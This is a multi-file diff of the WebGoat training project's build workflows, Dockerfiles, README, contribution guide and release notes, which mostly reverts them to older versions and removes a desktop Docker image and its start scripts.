label test

.dockerignore

@@ -1,4 +1,3 @@
 **
 
 !/target
-!/config/desktop

.github/stale.yml

@@ -2,7 +2,7 @@
 daysUntilStale: 90
 daysUntilClose: 14
 onlyLabels:
-  - waiting for input
+  - waiting-for-input
   - wontfix
 staleLabel: stale
 markComment: >

.github/workflows/build.yml

@@ -1,8 +1,23 @@
-name: "Pull requests build"
+name: "Build"
 on:
   pull_request:
     paths-ignore:
       - '.txt'
+      - '*.MD'
+      - '*.md'
+      - 'LICENSE'
+      - 'docs/**'
+  push:
+    branches:
+      - main
+      - develop
+      - release/*
+    tags-ignore:
+      - '*'
+    paths-ignore:
+      - '.txt'
+      - '*.MD'
+      - '*.md'
       - 'LICENSE'
       - 'docs/**'
 
@@ -17,7 +32,7 @@ jobs:
     runs-on: ${{ matrix.os }}
     strategy:
       matrix:
-                os: [ ubuntu-latest, windows-latest, macos-latest ]
+        os: [ubuntu-latest, windows-latest, macos-latest]
     steps:
       - uses: actions/checkout@v3
       - name: Set up JDK 17
@@ -27,34 +42,31 @@ jobs:
           java-version: 17
           architecture: x64
       - name: Cache Maven packages
-                uses: actions/cache@v3.2.5
+        uses: actions/cache@v3.0.5
         with:
           path: ~/.m2
           key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
           restore-keys: ${{ runner.os }}-m2-
       - name: Build with Maven
+        run: mvn --no-transfer-progress package
+
+  build:
+    if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
+    runs-on: ubuntu-latest
+    name: "Branch build"
+    steps:
+        - uses: actions/checkout@v3
+        - name: set up JDK 17
+          uses: actions/setup-java@v3
+          with:
+              distribution: 'temurin'
+              java-version: 17
+              architecture: x64
+        - name: Cache Maven packages
+          uses: actions/cache@v3.0.5
+          with:
+              path: ~/.m2
+              key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
+              restore-keys: ubuntu-latest-m2-
+        - name: Test with Maven
           run: mvn --no-transfer-progress verify
-            -   name: "Set up QEMU"
-                if: runner.os == 'Linux'
-                uses: docker/setup-qemu-action@v2.1.0
-            -   name: "Set up Docker Buildx"
-                if: runner.os == 'Linux'
-                uses: docker/setup-buildx-action@v2
-            -   name: "Verify Docker WebGoat build"
-                if: runner.os == 'Linux'
-                uses: docker/build-push-action@v4.0.0
-                with:
-                    context: ./
-                    file: ./Dockerfile
-                    push: false
-                    build-args: |
-                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
-            -   name: "Verify Docker WebGoat desktop build"
-                uses: docker/build-push-action@v4.0.0
-                if: runner.os == 'Linux'
-                with:
-                    context: ./
-                    file: ./Dockerfile_desktop
-                    push: false
-                    build-args: |
-                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} 

.github/workflows/release.yml

@@ -13,15 +13,19 @@ jobs:
     steps:
       - uses: actions/checkout@v3
 
-      - name: Set up JDK 17
+      - name: "Get tag name"
+        id: tag
+        uses: dawidd6/action-get-tag@v1
+
+      - name: Set up JDK 15
         uses: actions/setup-java@v3
         with:
-          distribution: 'temurin'
+          distribution: 'zulu'
-          java-version: 17
+          java-version: 15
           architecture: x64
 
       - name: Cache Maven packages
-        uses: actions/cache@v3.2.5
+        uses: actions/cache@v3.0.5
         with:
           path: ~/.m2
           key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
@@ -29,8 +33,8 @@ jobs:
 
       - name: "Set labels for ${{ github.ref }}"
         run: |
-          echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
+          echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
-          WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
+          WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
           echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
       - name: Build with Maven
         run: |
@@ -42,7 +46,7 @@ jobs:
         with:
           draft: false
           files: |
-            target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
+            webgoat/target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
           body: |
             ## Version ${{ steps.tag.outputs.tag }}
 
@@ -54,8 +58,6 @@ jobs:
 
             - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
 
-            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}  
-
 
             ## Contributors
 
@@ -72,7 +74,7 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
       - name: "Set up QEMU"
-        uses: docker/setup-qemu-action@v2.1.0
+        uses: docker/setup-qemu-action@v2.0.0
         with:
           platforms: all
 
@@ -80,13 +82,13 @@ jobs:
         uses: docker/setup-buildx-action@v2
 
       - name: "Login to dockerhub"
-        uses: docker/login-action@v2.1.0
+        uses: docker/login-action@v2.0.0
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
-      - name: "Build and push WebGoat"
+      - name: "Build and push"
-        uses: docker/build-push-action@v4.0.0
+        uses: docker/build-push-action@v3.0.0
         with:
           context: ./
           file: ./Dockerfile
@@ -98,27 +100,22 @@ jobs:
           build-args: |
             webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
 
-      - name: "Build and push WebGoat desktop"
+      - name: "Image digest"
-        uses: docker/build-push-action@v4.0.0
+        run: echo ${{ steps.docker_build.outputs.digest }}
-        with:
-          context: ./
-          file: ./Dockerfile_desktop
-          push: true
-          platforms: linux/amd64, linux/arm64, linux/arm/v7
-          tags: |
-            webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
-            webgoat/webgoat-desktop:latest
-          build-args: |
-            webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
   new_version:
+    permissions:
+      contents: write  # for Git to git push
     if: github.repository == 'WebGoat/WebGoat'
-    name: Update to next SNAPSHOT version
+    name: Update development version
     needs: [ release ]
     runs-on: ubuntu-latest
+    environment:
+      name: release
     steps:
       - uses: actions/checkout@v3
         with:
-          fetch-depth: 0
+          ref: develop
+          token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
 
       - name: Set up JDK 17
         uses: actions/setup-java@v3
@@ -128,20 +125,12 @@ jobs:
 
       - name: Set version to next snapshot
         run: |
-          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
+          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
-
-      - name: Push the changes to new branch
-        uses: devops-infra/action-commit-push@v0.9.2
-        with:
-            github_token: "${{ secrets.GITHUB_TOKEN }}"
-            add_timestamp: true
-            commit_message: "Updating to the new development version"
-            force: false
-
-      - name: Create PR
-        uses: devops-infra/action-pull-request@v0.5.5
-        with:
-            github_token: "${{ secrets.GITHUB_TOKEN }}"
-            title: ${{ github.event.commits[0].message }}
-            target_branch: main
 
+      - name: Commit pom.xml
+        run: |
+          git config user.name webgoat-github
+          git config user.email owasp.webgoat@gmail.com
+          find . -name 'pom.xml' | xargs git add
+          git commit -m "Updating to the new development version"
+          git push

.github/workflows/test.yml

@@ -1,65 +0,0 @@
-name: "UI-Test"
-on:
-    pull_request:
-        paths-ignore:
-            - 'LICENSE'
-            - 'docs/**'
-    push:
-        tags-ignore:
-            - 'v*'
-        paths-ignore:
-            - '.txt'
-            - '*.MD'
-            - '*.md'
-            - 'LICENSE'
-            - 'docs/**'
-
-jobs:
-    build:
-        runs-on: ubuntu-latest
-        # display name of the job
-        name: "Robot framework test"
-        steps:
-            # Uses an default action to checkout the code
-            -   uses: actions/checkout@v3
-            # Uses an action to add Python to the VM
-            -   name: Setup Pyton
-                uses: actions/setup-python@v4
-                with:
-                    python-version: '3.7'
-                    architecture: x64
-            # Uses an action to add JDK 17 to the VM (and mvn?)
-            -   name: set up JDK 17
-                uses: actions/setup-java@v3
-                with:
-                    distribution: 'temurin'
-                    java-version: 17
-                    architecture: x64
-            #Uses an action to set up a cache using a certain key based on the hash of the dependencies
-            -   name: Cache Maven packages
-                uses: actions/cache@v3.2.5
-                with:
-                    path: ~/.m2
-                    key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
-                    restore-keys: ubuntu-latest-m2-
-            -   uses: BSFishy/pip-action@v1
-                with:
-                    packages: |
-                        robotframework
-                        robotframework-SeleniumLibrary
-                        webdriver-manager
-            -   name: Run with Maven
-                run: mvn --no-transfer-progress spring-boot:run &
-            -   name: Wait to start
-                uses: ifaxity/wait-on-action@v1
-                with:
-                    resource: http://127.0.0.1:8080/WebGoat
-            -   name: Test with Robotframework
-                run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
-            # send report to forks only due to limits on permission tokens
-            -   name: Send report to commit
-                if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
-                uses: joonvena/robotframework-reporter-action@v2.1
-                with:
-                    gh_access_token: ${{ secrets.GITHUB_TOKEN }}
-                    report_path: 'robotreport'

.github/workflows/welcome.yml

@@ -10,7 +10,7 @@ jobs:
     if: github.repository == 'WebGoat/WebGoat'
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/first-interaction@v1.1.1
+      - uses: actions/first-interaction@v1.1.0
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'

.gitignore

@@ -55,5 +55,3 @@ webgoat.script
 TestClass.class
 **/*.flattened-pom.xml
 /.gitconfig
-
-webgoat.gitconfig

CONTRIBUTING.md

@@ -1,5 +1,4 @@
 # Contributing
-
 [![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
 ![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
 ![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
@@ -25,7 +24,7 @@ There are a couple of ways on how you can contribute to the project:
 Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short:
 The minimum requirements for code contributions are:
 
-1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules.
+1. The code _must_ be compliant with the configured Checkstyle and PMD rules.
 2. All new and changed code _should_ have a corresponding unit and/or integration test.
 3. New and changed lessons _must_ have a corresponding integration test.
 4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit.
@@ -39,13 +38,14 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
 * If you are making spelling corrections in the docs, don't modify other files.
 * If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request.
 
+
 ### Write a good commit message
 
 * Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
 
 * If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
 
-For example: `Fix #545` or `Closes #10`
+  For example: `Fix #545` or `Closes #10`
 
 ## How to set up your Contributor Environment
 
@@ -69,24 +69,17 @@ For example: `Fix #545` or `Closes #10`
     ```
 
     See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
-
 5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues").
-
 6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66`
-
 7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/).
-
 8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub.
-
 9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer.
-
 10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR.
-
 11. When starting on a new PR in the future, make sure to always keep your local repo up to date:
 
     ```bash
     $ git fetch upstream
-    $ git merge upstream/main
+    $ git merge upstream/develop
     ```
 
     See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".

CREATE_RELEASE.md

@@ -1,21 +1,34 @@
 ## Release WebGoat
 
+
 ### Version numbers
 
-For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
+For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
-and 2023.01 in the `pom.xml`.
+ and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use 
+ `v8.0.0` in the `pom.xml`
  
 ### Release notes:
-
+Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of 
-Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
 committers.
 
+At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
+
 ```
-mvn versions:set 
+git checkout develop
-<< update release notes >>
+git flow release start <version> 
-mvn verify
+git flow release publish
-git commit ....
+
-git tag v2023.01 
+<<Make changes if necessary>>
+<<Update RELEASE_NOTES.md>>
+
+git flow release finish <version>
+git push origin develop
+git push origin main
 git push --tags
 ```
 
+Now Travis takes over and will create the release in Github and on Docker Hub.
+
+NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version
+
+

Dockerfile

@@ -1,11 +1,8 @@
-FROM docker.io/eclipse-temurin:17-jre-focal
+FROM docker.io/eclipse-temurin:17-jdk-focal
-LABEL NAME = "WebGoat: A deliberately insecure Web Application"
-MAINTAINER "WebGoat team"
 
-RUN \
+RUN useradd -ms /bin/bash webgoat
-  useradd -ms /bin/bash webgoat && \
+RUN chgrp -R 0 /home/webgoat
-  chgrp -R 0 /home/webgoat && \
+RUN chmod -R g=u /home/webgoat
-  chmod -R g=u /home/webgoat
 
 USER webgoat
 

Dockerfile_desktop

@@ -1,29 +0,0 @@
-FROM lscr.io/linuxserver/webtop:ubuntu-xfce
-LABEL NAME = "WebGoat: A deliberately insecure Web Application"
-MAINTAINER "WebGoat team"
-
-WORKDIR /config
-
-COPY target/webgoat-*.jar /config/webgoat.jar
-COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
-COPY config/desktop/start_zap.sh /config/start_zap.sh
-COPY config/desktop/WebGoat.txt /config/Desktop/
-
-RUN \
- curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
- tar zfxv ZAP_2.12.0_Linux.tar.gz && \
- rm -rf ZAP_2.12.0_Linux.tar.gz && \
- curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
- tar zfxv OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
- rm -rf OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
- chmod +x /config/start_webgoat.sh && \
- chmod +x /config/start_zap.sh && \
- apt-get update &&  \
- apt-get --yes install vim nano && \
- echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
- echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
-
-
-ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
-
-WORKDIR /config/Desktop

README.md

@@ -27,55 +27,35 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
 Claiming that you were doing security research will not work as that is the
 first thing that all hackers claim.*
 
-![WebGoat](docs/images/webgoat.png)
-
 # Installation instructions:
 
 For more details check [the Contribution guide](/CONTRIBUTING.md)
 
 ## 1. Run using Docker
 
-Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
-
 Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
 
+The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
+
 ```shell
-docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
+
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
 ```
 
-If you want to reuse the container, give it a name:
+**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
+
+
+## 2. Standalone
+
+Download the latest WebGoat and WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
 
 ```shell
-docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
+java -Dfile.encoding=UTF-8 -jar webgoat-8.2.3.jar 
-```
-
-As long as you don't remove the container you can use:
-
-```shell
-docker start webgoat
-```
-
-This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
-
-## 2. Run using Docker with complete Linux Desktop
-
-Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
-
-```shell
-docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
-```
-
-## 3. Standalone
-
-Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
-
-```shell
-java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar
 ```
 
 Click the link in the log to start WebGoat.
 
-## 4. Run from the sources
+## 3. Run from the sources
 
 ### Prerequisites:
 
@@ -104,7 +84,7 @@ git checkout <<branch_name>>
 docker build -f Dockerfile . -t webgoat/webgoat
 ```
 
-Now we are ready to run the project. WebGoat is using Spring Boot.
+Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
 
 ```Shell
 # On Linux/Mac:
@@ -113,12 +93,10 @@ Now we are ready to run the project. WebGoat is using Spring Boot.
 ./mvnw.cmd spring-boot:run
 
 ```
+... you should be running WebGoat on localhost:8080/WebGoat momentarily
 
-... you should be running WebGoat on http://localhost:8080/WebGoat momentarily.
 
-Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed.
+To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties file`:
-
-To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file:
 
 ```
 server.address=x.x.x.x
@@ -129,16 +107,12 @@ server.address=x.x.x.x
 For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables.
 
 For instance running as a jar on a Linux/macOS it will look like this:
-
 ```Shell
 export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
 export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
-java -jar target/webgoat-2023.3-SNAPSHOT.jar
+java -jar target/webgoat-8.2.3-SNAPSHOT.jar
-```
 
 Or in a docker run it would (once this version is pushed into docker hub) look like this:
-
 ```Shell
-docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
+docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
 ```
-

README_I18N.md

@@ -1,34 +0,0 @@
-# Multi language support in WebGoat
-
-WebGoat is mainly written in English, but it does support multiple languages.
-
-## Default language selection
-
-1. Current supported languages are: en, fr, de, nl
-2. The primary language is based on the language setting of the browser.
-3. If the language is not in the list of supported language, the language is English
-4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page
-   1. After switching a language you are back at the Introduction page
-
-## Adding a new language
-
-The following steps are required when you want to add a new language
-
-1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
-   1. Add the parts for showing the flag and providing the correct value for the flag= parameter
-2. 
-3. Add a flag image to src/main/resources/webgoat/static/css/img
-   1. See the main_new.html for a link to download flag resources
-4. Add a welcome page to the introduction lesson
-   1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
-   2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
-5. Translate the main labels
-   1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
-   2. Translate the label values
-6. Optionally translate lessons by
-   1. Adding lang specifc adoc files in documentation folder of the lesson
-   2. Adding WebGoatLabels.properties of a specific language if you want to
-7. Run mvn clean to see if the LabelAndHintIntegration test passes
-8. Run WebGoat and verify that your own language and the other languages work as expected
-
-If you only want to translate more for a certain language, you only need to do step 4-8

RELEASE_NOTES.md

@@ -1,32 +1,14 @@
 # WebGoat release notes 
 
-## Version 2023.4
+## Unreleased
 
 ### New functionality
 
-- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
+- New year's resolution: major refactoring of WebGoat to simplify the setup and improve building times.
-- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
-
-### Bug fixes
-
-- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
-- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
-- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
-
-## Version 2023.3
-
-With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
-
-A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
-many more releases this year.
-
-### New functionality
-
-- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
 - Move away from multi-project setup:
-  * This has a huge performance benefit when building the application. Build time locally is now `Total time:  42.469 s` (depends on your local machine of course)
+  - This has a huge performance benefit when building the application. Build time locally is now `Total time:  42.469 s` (depends on your local machine of course)
-  * No longer add Maven dependencies in several places
+  - No longer add Maven dependencies in several places
-  * H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
+  - H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
 - More explicit paths in html files to reference `adoc` files, less magic.
 - Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
 - Add WebWolf button in WebGoat
@@ -37,29 +19,6 @@ many more releases this year.
 - Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
 - Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example.
 - Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
-- Updated introduction lesson to WebWolf.
-- Added language switch for support for multiple languages.
-- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port.
-- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
-- Renaming of all packages and folders.
-- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
-- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065)
-
-### Bug fixes
-
-- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
-- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
-- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
-- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130)
-- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101)
-- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079)
-- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379)
-- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298)
-- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248)
-- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200)
-- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173)
-- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103)
-- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986)
 
 ## Version 8.2.2
 
@@ -73,12 +32,14 @@ many more releases this year.
 - [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031)
 - [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027)
 
+
 ## Version 8.2.1
 
 ### New functionality
 
 - New Docker image for arm64 architecture is now available (for Apple M1)
 
+
 ## Version 8.2.0
 
 ### New functionality
@@ -117,6 +78,7 @@ Special thanks to the following contributors providing us with a pull request:
 - NatasG
 - gabe-sky
 
+
 ## Version 8.1.0
 
 ### New functionality
@@ -137,13 +99,13 @@ Special thanks to the following contributors providing us with a pull request:
 - [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766)
 - [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708)
 - [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
-- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
+ - [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
-- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
+ - [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
-- [#716 -  On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
+ - [#716 -  On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
-- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
+ - [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
-- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
+ - [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
  
-## Contributors
+ ## Contributors
  
 Special thanks to the following contributors providing us with a pull request:
 
@@ -159,5 +121,9 @@ Special thanks to the following contributors providing us with a pull request:
 
 And everyone who provided feedback through Github.
 
+
 Team WebGoat
 
+
+
+

config/desktop/WebGoat.txt

@@ -1,10 +0,0 @@
-** Welcome to WebGoat desktop image
-
-With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
-You can start WebGoat and ZAP by opening a terminal and type:
-
-./start-webgoat.sh
-./start_zap.sh
-
-Happy hacking,
-Team WebGoat

config/desktop/start_webgoat.sh

@@ -1,17 +0,0 @@
-#!/bin/sh
-
-/config/jdk-17.0.6+10-jre/bin/java \
-  -Duser.home=/config \
-  -Dfile.encoding=UTF-8 \
-  -DTZ=Europe/Amsterdam \
-  --add-opens java.base/java.lang=ALL-UNNAMED \
-  --add-opens java.base/java.util=ALL-UNNAMED \
-  --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-  --add-opens java.base/java.text=ALL-UNNAMED \
-  --add-opens java.desktop/java.beans=ALL-UNNAMED \
-  --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
-  --add-opens java.base/sun.nio.ch=ALL-UNNAMED \
-  --add-opens java.base/java.io=ALL-UNNAMED \
-  --add-opens java.base/java.util=ALL-UNNAMED \
-  -Drunning.in.docker=false \
-  -jar /config/webgoat.jar

config/desktop/start_zap.sh

@@ -1,3 +0,0 @@
-#!/bin/sh
-
-/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar

docs/README.md

@@ -2,3 +2,4 @@
 
